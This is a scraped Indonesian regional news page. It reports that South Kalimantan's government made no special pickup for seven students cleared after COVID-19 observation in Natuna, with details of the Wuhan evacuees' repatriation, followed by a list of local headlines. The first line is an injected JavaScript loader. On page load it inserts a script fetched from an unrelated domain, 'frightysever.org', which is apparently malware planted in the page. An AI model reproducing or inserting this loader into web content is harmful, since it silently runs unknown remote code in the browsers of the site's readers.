(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dinyatakan Sehat, Pemprov Kalsel Tak Lakukan Penjemputan 7 Mahasiswa Usai Diobservasi di Natuna


KANALKALIMANTAN.COM, JAKARTA – Pemprov Kalsel memastikan tidak ada penjemputan khusus bagi mahasiswanya yang selesai menjalani masa observasi di Natuna. Hal tersebut disampaikan Sekretaris Daerah Pemprov Kalsel Haris Makkie.

Haris mengatakan,  7 mahasiswa asal Kalsel akan pulang secara mandiri. “Memang benar mereka akan pulang, tapi secara mandiri dan tidak ada perlakuan khusus,” ujar Haris Makkie, beberapa waktu lalu.

Haris bahkan berujar bahwa jika ada penjemputan secara khusus, maka akan terkesan aneh karena seluruh mahasiswa tersebut dinyatakan sehat pasca menjalani masa observasi. “Justru aneh kalau mereka diperlakukan khusus, karena memang mereka sehat,” ujarnya.

Sementara itu, Kepala Kesatuan Bangsa dan Politik (Kesbangpol) Pemprov Kalsel Heriansyah juga membenarkan bahwa 7 mahasiswa asal Kalsel akan tiba di Bandara Syamsuddin Noor Banjarmasin di Banjarbaru hari ini.

Tetapi yang pasti, kata Heriansyah, masyarakat tidak perlu khawatir karena semua mahasiswa dinyatakan sehat. “Karena selama menjalani observasi, memang tidak ditemukan suspect virus corona. Mereka juga dibekali surat keterangan sehat yang diberikan Kementerian Kesehatan, karena memang dinyatakan sehat,” jelasnya.

Dari informasi yang diterima, mahasiswa asal Kalsel yang menjalani masa karantina di Natuna, 6 diantaranya beralamat di Kabupaten Tabalong. Sementara 1 orang lainnya beralamat di Kabupaten Kotabaru.

Pemprov Kalsel tak lakukan penjemputan mahasiswa asal Kalsel pasca observasi di Natuna. foto: antara

Proses karantina 238 WNI dari Wuhan, China, berakhir. Semua WNI akan dipulangkan dari Hanggar Lanud Raden Sadjad Ranai, Kabupaten Natuna, Kepulauan Riau (Kepri), termasuk 47 orang kru penjemput. Sehingga total yang dipulangkan sebanyak 285 orang.

Berdasarkan jadwal yang ditetapkan pemerintah, masa observasi berlangsung 14 hari hingga Minggu (16/2/2020). Bahkan saat ini, sejumlah sarana dan prasarana pendukung untuk proses pemulangan juga terus dipersiapkan.

Sekretaris Direktorat Jenderal Pencegahan dan Pengendalian Penyakit dr Achmad Yurianto mengatakan, skema pemulangan sudah diputuskan, bahwa observasi WNI dari Wuhan yang saat ini tinggal di Natuna, berakhir pada pukul 12.00 WIB, Sabtu (15/2/2020).

Artinya, hari Sabtu pagi adalah pengecekan kesehatan terakhir. Setelah itu pihaknya menyiapkan mereka untuk diterbangkan ke Jakarta. “Rencananya pada jam 7 pagi dari Jakarta menuju Natuna akan berangkat 3 pesawat TNI AU, terdiri dari 2 Boeing 737 dan 1 Hercules. Ini adalah sejumlah pesawat yang sama pada waktu menjemput mereka dari Batam ke Natuna,” kata Achmad Yurianto.

Bahkan rencananya, Menkes, Menko PMK, kepala BNPB dan beberapa pejabat lain akan ikut menjemput mereka ke Kabupaten Natuna. Pria yang akrab disapa Yuri juga mengatakan, sebelum warga yang diobservasi diberangkatkan ke Jakarta, tentunya terlebih dahulu akan diperiksa kesehatan mereka. Baru setelah pukul 12.00 WIB atau setelah makan siang, mereka bisa diberangkatkan menuju Bandara Halim Perdana Kusuma, Jakarta.

Warga yang diobservasi sebagian besar adalah mahasiswa dari 30 provinsi (Perempuan 158 orang dan laki-laki 80 orang) dengan usia termuda 5 tahun dan usia tertua 64 tahun, beserta tim KBRI 5 orang, tim penjemput 24 orang dan kru Batik Air 18 orang. “Data yang kami miliki saudara-saudara kita yang sebagian besar mahasiswa itu berasal dari 30 provinsi,” jelasnya.

Dari 30 provinsi tersebut, terbanyak berasal dari Jawa Timur dengan jumlah 68 orang. Kemudian Lampung satu orang, Jakarta 12 orang, Aceh 13 orang, Papua delapan orang, Papua Barat enam orang dan lainnya.

Pemerintah juga akan menyerahkan kru PT Lion yang menjemput WNI ke Wuhan dan sudah menjalani masa observasi selama 14 hari. “Ini yang akan dilakukan dalam mengakhiri masa observasi. Selanjutnya hanggar yang digunakan sebagai tempat observasi akan dilakukan desinfeksi,” papar dr Yuri.

Direncanakan akan ada prosesi kecil pelepasan warga yang diobservasi di Bandara Natuna menuju Jakarta. Saat mereka tiba di Jakarta akan disambut oleh Komisi IX DPR RI dan perwakilan pemerintah daerah. (kompas/antara)

Reporter : kompas/antara
Editor : Cell

 


Al Ghifari

Recent Posts

Niat Tawuran Bawa Celurit, Dua Remaja di Banjarmasin Diringkus Polisi

KANALKALIMANTAN.COM, BANJARMASIN - Petugas kepolisian dari Polsek Banjarmasin Barat menangkap dua orang remaja yang berniat… Read More

25 menit ago

#Save Demokrasi Banjarbaru: Hak Pilih Warga Dibungkam

KANALKALIMANTAN.COM, BANJARBARU - Penyelenggaraan Pemilihan Kepala Daerah (Pilkada) Serentak 2024 di Kota Banjarbaru Provinsi Kalimantan… Read More

47 menit ago

Kirim Surat Suara ke Tiga Wilayah Ujung Banjarmasin Gunakan Klotok

KANALKALIMANTAN.COM, BANJARMASIN - Logistik surat suara Pemilihan Kepala Daerah (Pilkada) 2024 di Kota Banjarmasin mulai… Read More

3 jam ago

Pengrajin Anyaman Purun Desa Pulantani Terima Bantuan CSR

KANALKALIMANTAN.COM, AMUNTAI - Pengembangan kapasitas pengrajin anyaman purun dan alat penunjang produksi kerajinan, bantuan dana… Read More

5 jam ago

Logistik Pemilihan di Banjarmasin Didistribusikan, Disebar ke 965 TPS

KANALKALIMANTAN.COM, BANJARMASIN – Dua hari jelang pemungutan suara Pilkada 2024, Komisi Pemilihan Umum (KPU) Kota… Read More

8 jam ago

KPU Banjarbaru Mengubur Demokrasi, Meniadakan Pilkada Banjarbaru 2024

KANALKALIMANTAN.COM, BANJARBARU - Melihat dan menyikapi penyelenggaraan Pilkada (Pemilihan Kepala Daerah) Kota Banjarbaru, pasca terbit… Read More

10 jam ago

This website uses cookies.